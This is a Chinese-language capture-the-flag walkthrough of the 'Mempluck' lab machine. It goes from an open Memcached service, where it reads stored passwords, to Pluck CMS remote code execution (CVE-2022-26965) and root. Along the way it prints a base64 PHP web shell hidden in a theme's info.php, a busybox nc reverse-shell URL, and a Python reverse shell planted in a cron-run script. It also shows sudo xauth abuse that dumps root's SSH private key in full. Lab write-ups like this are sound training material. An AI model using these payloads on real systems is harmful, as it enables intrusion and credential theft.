Mazesec_Mempluck

靶机来源：QQ群-660930334

-难度：Medium

思维导图：

一、信息收集

1、主机探测

┌──(root㉿kali)-[~/miaosec]
└─# nmap -sn 192.168.2.0/24              
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 14:13 +0800
Nmap scan report for 192.168.2.1
Host is up (0.00056s latency).
MAC Address: 0A:00:27:00:00:06 (Unknown)
Nmap scan report for 192.168.2.2
Host is up (0.00058s latency).
MAC Address: 08:00:27:F7:54:AB (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.15
Host is up (0.0011s latency).
MAC Address: 08:00:27:F9:67:1E (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 10.18 seconds

靶机IP：192.168.2.15

2、端口扫描

1.全端口扫描

┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -p- 192.168.2.15                   
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 14:13 +0800
Nmap scan report for 192.168.2.15
Host is up (0.0012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
11211/tcp open  memcache
MAC Address: 08:00:27:F9:67:1E (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 50.88 seconds

开放端口：22、80、11211

2.详细信息扫描

┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80,11211 192.168.2.15
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 14:14 +0800
Nmap scan report for 192.168.2.15
Host is up (0.00078s latency).

PORT      STATE SERVICE   VERSION
22/tcp    open  ssh       OpenSSH 10.0 (protocol 2.0)
80/tcp    open  http      Apache httpd 2.4.66 ((Unix))
| http-title: Hello World! - MemPluck
|_Requested resource was http://192.168.2.15/?file=hello-world
|_http-generator: pluck 4.7.16
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-robots.txt: 2 disallowed entries 
|_/data/ /docs/
|_http-server-header: Apache/2.4.66 (Unix)
11211/tcp open  memcached Memcached 1.6.32 (uptime 511 seconds)
MAC Address: 08:00:27:F9:67:1E (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.97 seconds

3.udp扫描

┌──(root㉿kali)-[~/miaosec]
└─# nmap -sU --top-ports 100 192.168.2.15                          
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 14:15 +0800
Nmap scan report for 192.168.2.15
Host is up (0.00095s latency).
All 100 scanned ports on 192.168.2.15 are in ignored states.
Not shown: 57 closed udp ports (port-unreach), 43 open|filtered udp ports (no-response)
MAC Address: 08:00:27:F9:67:1E (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 56.57 seconds

二、WEB渗透

1、80端口

访问80端口提示我们CMS是Pluck，版本是4.7.16 经过查看发现存在一个CVE漏洞CVE-2022-26965

但是需要密码进行登录同时还有关于Memcached的介绍

三、Memcached未授权

尝试进行连接，成功进行连接，说明存在未授权

┌──(root㉿kali)-[~/miaosec]
└─# telnet 192.168.2.15 11211
Trying 192.168.2.15...
Connected to 192.168.2.15.
Escape character is '^]'.

使用stats items查看所有存储桶（Slabs）信息

stats items
STAT items:1:number 10
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 10
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 28
STAT items:1:mem_requested 821
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 1
STAT items:1:expired_unfetched 1
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 60
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 240
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 0
STAT items:1:hits_to_temp 0
END

查看数据在哪个存储桶里面

stats cachedump 1 100
ITEM secret10 [16 b; 0 s]
ITEM secret9 [16 b; 0 s]
ITEM secret8 [16 b; 0 s]
ITEM secret7 [16 b; 0 s]
ITEM secret6 [16 b; 0 s]
ITEM secret5 [16 b; 0 s]
ITEM secret4 [16 b; 0 s]
ITEM secret3 [16 b; 0 s]
ITEM secret2 [16 b; 0 s]
ITEM secret1 [16 b; 0 s]
END

所有的数据都在1号桶里面

读取1号桶里面的 Key

1
2

get secret1 secret2 secret3 secret4 secret5 secret6 secret7 secret8 secret9 secret10
VALUE secret1 0 16 IAJI6Jop7DcXzOnV VALUE secret2 0 16 3kzkEJZ1c0HS3zEl VALUE secret3 0 16 EudW8k2fRbLjE4fg VALUE secret4 0 16 UEJELjp1dZbWoXVC VALUE secret5 0 16 WOxfrcZBAPaobApy VALUE secret6 0 16 GnHD0ihvyKaCZyVh VALUE secret7 0 16 sw3H5nYR6jVPp5Ks VALUE secret8 0 16 Dgl48Ce1Ccf1jDU7 VALUE secret9 0 16 3TJnGUTuwsBquTic VALUE secret10 0 16 Xq4nwjpQFEoKvhIR

猜测里面的是pluck cms的登录密码经过测试，发现正确的密码是sw3H5nYR6jVPp5Ks

成功登录到后台

四、CVE-2022-26965

Pluck-CMS-Pluck-4.7.16 远程代码执行漏洞（CVE-2022-26965）

选择上传主题的功能点
找到上传点
然后利用cms主题构造木马，在github找到主题 https://github.com/billcreswell/redline-theme
下载压缩包修改info.php文件

<?php

file_put_contents('shell.php',base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg=='));

?>
file_put_contents() 函数：把一个字符串写入文件中。
 
base64_decode()对encoded_data进行解码,返回原始数据。
 
base64解码  PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg== 得到<?php system($_GET[1]);?>

上传压缩包
进行命令执行

五、获取shell

直接执行反弹shell的命令

1	`http://192.168.2.15/shell.php?1=busybox%20nc%20192.168.2.4%204444%20-e%20/bin/sh`

成功获取到shell

┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.4] from (UNKNOWN) [192.168.2.15] 34631
id
uid=105(apache) gid=107(apache) groups=82(www-data),107(apache),107(apache)

稳定shell

python3 -c 'import pty;pty.spawn("/bin/sh")';
# 按下 Ctrl+Z 将其挂起
stty raw -echo; fg
# 按下回车
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 24 columns 80

六、权限提升

1、获取taditto权限

随便尝试一下，发现sw3H5nYR6jVPp5Ks就是用户的密码，直接进行登录

┌──(root㉿kali)-[~]
└─# ssh taditto@192.168.2.15   
taditto@192.168.2.15's password: 
              _                          
__      _____| | ___ ___  _ __ ___   ___ 
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V  V /  __/ | (_| (_) | | | | | |  __/
  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|
                                         
Mempluck:~$ id
uid=1000(taditto) gid=1000(taditto) groups=1000(taditto)

2、获取scdyh权限

发现/opt目录对用户taditto可写

1 2	`Mempluck:~$ ls -ld /opt drwxrwxr-x 3 root taditto 4096 Apr 3 10:56 /opt`

同时使用pspy64查看定时任务

1 2	`2026/04/03 10:52:00 CMD: UID=1001 PID=2942 \| /usr/sbin/crond -c /etc/crontabs -f 2026/04/03 10:53:00 CMD: UID=1001 PID=2944 \| /bin/sh -c /usr/bin/python3 /opt/init_memcached.py`

发现UID=1001即用户scdyh定时执行init_memcached.py 那么直接将/opt里面的init_memcached.py文件删除，重新新建一个反弹shell的文件即可

新的init_memcached.py文件

import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.2.4", 4444))  # 替换为你的公网IP或VPS IP
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

开启监听，成功获取到scdyh权限

┌──(root㉿kali)-[~/Tool]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.4] from (UNKNOWN) [192.168.2.15] 59562
/bin/sh: can't access tty; job control turned off
~ $ id
uid=1001(scdyh) gid=1001(scdyh) groups=1001(scdyh)

3、获取root权限

查看sudo -l

~ $ sudo -l
Matching Defaults entries for scdyh on Mempluck:
   
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for scdyh:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User scdyh may run the following commands on Mempluck:
    (ALL : ALL) NOPASSWD: /usr/bin/xauth

发现用户可以免密执行/usr/bin/xauth

直接读取root文件的私钥

~ $ sudo /usr/bin/xauth source /root/.ssh/id_rsa
/usr/bin/xauth:  file /root/.Xauthority does not exist
/usr/bin/xauth: /root/.ssh/id_rsa:1:  unknown command "-----BEGIN"
/usr/bin/xauth: /root/.ssh/id_rsa:2:  unknown command "b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn"
/usr/bin/xauth: /root/.ssh/id_rsa:3:  unknown command "NhAAAAAwEAAQAAAYEAqOhGKasugjozfV5D64b9Rx0Is170s+kM6P/eNgIXi1MFWNiahMXx"
/usr/bin/xauth: /root/.ssh/id_rsa:4:  unknown command "rsqCihct2Ti3sIiYdeahtd10isOuaZLkXq2wA9oTS+shFxTo6r071jin0xPFOVyGveMoSZ"
/usr/bin/xauth: /root/.ssh/id_rsa:5:  unknown command "RaS/f99jBPyst9Vy8nI80zswhaOPJG9csYaYBtwnpRi02gFadXnd+x1WDiq3HjZSQeqOFQ"
/usr/bin/xauth: /root/.ssh/id_rsa:6:  unknown command "uWrUCVoSG0qSMsur2eSp54IXie+J4Zz9wc6U2SWatIOW0vXgqH49ROElApaQpd3SIg/NfS"
/usr/bin/xauth: /root/.ssh/id_rsa:7:  unknown command "og2vgu/2qVxgsKe/hc/QfKdiNkUkUSleRMHgXEtwqDTbg5RJyp34yEUusTQ4TX4mBEB87J"
/usr/bin/xauth: /root/.ssh/id_rsa:8:  unknown command "ye1EAbju0W/b4uoZMBzPBVgvY3yLG2BTtFdeqJc7t38QSmA4pS7LdvQnL+ZMXN+RQ2/Hnz"
/usr/bin/xauth: /root/.ssh/id_rsa:9:  unknown command "nuKpn7mspYv5sEVp3VzgZNG8VesGnT5ZHeYxzqmhRQEtSB0DR8W/p6KmALK3aDCvnc9g2V"
/usr/bin/xauth: /root/.ssh/id_rsa:10:  unknown command "QYVcsqKPhuRhZQAqbQb4Y/nSXX6AYstmhhoqKrzjAAAFiCjCJJ0owiSdAAAAB3NzaC1yc2"
/usr/bin/xauth: /root/.ssh/id_rsa:11:  unknown command "EAAAGBAKjoRimrLoI6M31eQ+uG/UcdCLNe9LPpDOj/3jYCF4tTBVjYmoTF8a7KgooXLdk4"
/usr/bin/xauth: /root/.ssh/id_rsa:12:  unknown command "t7CImHXmobXddIrDrmmS5F6tsAPaE0vrIRcU6Oq9O9Y4p9MTxTlchr3jKEmUWkv3/fYwT8"
/usr/bin/xauth: /root/.ssh/id_rsa:13:  unknown command "rLfVcvJyPNM7MIWjjyRvXLGGmAbcJ6UYtNoBWnV53fsdVg4qtx42UkHqjhULlq1AlaEhtK"
/usr/bin/xauth: /root/.ssh/id_rsa:14:  unknown command "kjLLq9nkqeeCF4nvieGc/cHOlNklmrSDltL14Kh+PUThJQKWkKXd0iIPzX0qINr4Lv9qlc"
/usr/bin/xauth: /root/.ssh/id_rsa:15:  unknown command "YLCnv4XP0HynYjZFJFEpXkTB4FxLcKg024OUScqd+MhFLrE0OE1+JgRAfOycntRAG47tFv"
/usr/bin/xauth: /root/.ssh/id_rsa:16:  unknown command "2+LqGTAczwVYL2N8ixtgU7RXXqiXO7d/EEpgOKUuy3b0Jy/mTFzfkUNvx5857iqZ+5rKWL"
/usr/bin/xauth: /root/.ssh/id_rsa:17:  unknown command "+bBFad1c4GTRvFXrBp0+WR3mMc6poUUBLUgdA0fFv6eipgCyt2gwr53PYNlUGFXLKij4bk"
/usr/bin/xauth: /root/.ssh/id_rsa:18:  unknown command "YWUAKm0G+GP50l1+gGLLZoYaKiq84wAAAAMBAAEAAAGAJOy6Qeu5PCDrFrIf2QJmpkAzob"
/usr/bin/xauth: /root/.ssh/id_rsa:19:  unknown command "rVdesxtlIRSu9EJGIe3iBkDziSsCp3RSbyD/W1OnNyGPw1R+PE0X0byNqi8Au6We03oLYj"
/usr/bin/xauth: /root/.ssh/id_rsa:20:  unknown command "Qr+Ad6isxxUVozBEQlj239Yj/Ynf/5GURFilaOj5WrDlNo9qiO3/g0l7t8oRaSb5V7WT1A"
/usr/bin/xauth: /root/.ssh/id_rsa:21:  unknown command "dBQtqVbd70KniGtQItuvOdfD/dfNtcxTqakLrJoS8jP3wcpI6tBKuIEflXBCJcKehtnJ7T"
/usr/bin/xauth: /root/.ssh/id_rsa:22:  unknown command "vwSfe1Y1oLQzehBeSNRn+3ZphT54aHc5kgf/tDYM6boqspecXVqE8nVZffh87TxOtoaUw9"
/usr/bin/xauth: /root/.ssh/id_rsa:23:  unknown command "3PpQvkOCwOr+gT1oZ2kse1rxGdPDw/Mw9j03MZyvxgny0ao/Wq6FG978ZeWgpgCgaDO6CV"
/usr/bin/xauth: /root/.ssh/id_rsa:24:  unknown command "hVWTBAVUOUUvFnqdF4hOgp6qXFkmcGZzl862MOYyWY2sqZV+wT3fHfgjSgFtZbcvhV/lH7"
/usr/bin/xauth: /root/.ssh/id_rsa:25:  unknown command "N2m42fEGbkLxAY+8oS8zqPgGWlckdPr662kvqvnylK3bQWDucYUaa5eKGiGKvIxpbJAAAA"
/usr/bin/xauth: /root/.ssh/id_rsa:26:  unknown command "wCUj74BUF11v/0AIlGfVSpdMchMYC0jeno+JhptzcU5ySRVWZWaK+uLVcghwhlcWl9yYzL"
/usr/bin/xauth: /root/.ssh/id_rsa:27:  unknown command "YaLc/9OzturW873tbTC8OtsTlFLOVUTZr6Dja958j46Royt8nfCot3+oSrlR0orX90WPCN"
/usr/bin/xauth: /root/.ssh/id_rsa:28:  unknown command "wFnHTMXhJkpTB7D1k6C9MjtgmC8kIAFQ/PXZKjmgPdWJCffq684yLavzbQLJtmAGg8hBMY"
/usr/bin/xauth: /root/.ssh/id_rsa:29:  unknown command "mriOG/Ay+UcnvBiGyop/GnXYXIIjbHysAvCpVnGIvQYVq2ngAAAMEA4ND5g/Tc+4kJBZT3"
/usr/bin/xauth: /root/.ssh/id_rsa:30:  unknown command "YZltIQ3dkhzvtEF4tYpzvFVN7NQ/4rH6srFrB+PxnHa9aZ4eLdKZG5Cl5OLKVNqV8wybqx"
/usr/bin/xauth: /root/.ssh/id_rsa:31:  unknown command "0EuDAlOGXSJ1SrJ0THmIrs28C9xYIA4KzAyoPQr+PQdR1dFDusjKoFmPKzNDgo7I+L1PO3"
/usr/bin/xauth: /root/.ssh/id_rsa:32:  unknown command "v6hEBXjxifen2oFA2q9Qj8N6R64/hOYBTUzFH8bTxaHXECgeMUYmcVAqMTaM+d/hsCoqGf"
/usr/bin/xauth: /root/.ssh/id_rsa:33:  unknown command "ZvH53BdtVwLSZdjLNqNzetIe+JQ1t1AAAAwQDAVgV+KqzndrAqTRdgEgja7Gt/rMfV3ITM"
/usr/bin/xauth: /root/.ssh/id_rsa:34:  unknown command "TqABbFkX7GMY1HsyQQweLMmzT7Dcx3MU55kvqFEgs2vU5HJaiBuQaMvfX1l8W0XSlyEjNV"
/usr/bin/xauth: /root/.ssh/id_rsa:35:  unknown command "jPUpXQjXFVCZfJsQl5jT41AVvFghZJc1jkJKQuw9IpcFNpOwVTjAK6k4tOVp2OXnCHtbeY"
/usr/bin/xauth: /root/.ssh/id_rsa:36:  unknown command "T3oYPKZFaZt5QQ+Bx+ED5731Glr8jUzFh6Ksrv3+1ojqYL3WYcUwAvd5NEX+Tnurt9Pu9E"
/usr/bin/xauth: /root/.ssh/id_rsa:37:  unknown command "6FSs7qzobqo/cAAAANcm9vdEBNZW1wbHVjawECAwQFBg=="
/usr/bin/xauth: /root/.ssh/id_rsa:38:  unknown command "-----END"

使用AI处理一下，得到正确格式的私钥

1
2

直接使用私钥进行登录即可获得root权限

┌──(root㉿kali)-[/tmp]
└─# ssh -i id root@192.168.2.15
              _                          
__      _____| | ___ ___  _ __ ___   ___ 
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V  V /  __/ | (_| (_) | | | | | |  __/
  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|
                                         
Mempluck:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

六、查看FLAG

1
2
3

Mempluck:~# cat /root/root.txt /home/taditto/user.txt 
flag{root-83bexxxxxxxxxxxxxxxxxxxxxxxxxxxx}
flag{user-8494xxxxxxxxxxxxxxxxxxxxxxxxxxxx}

Maze-sec

#Memcached #CVE-2022-26965 #Pspy #Sudo_Xauth

Mazesec_Mempluck

http://miao-sec.github.io/Maze-sec/Mazesec-Mempluck/

作者

Miao

发布于

2026年4月3日

许可协议

BY-MIAO

Hvm_Coolpg 上一篇

Vlx_Responder 下一篇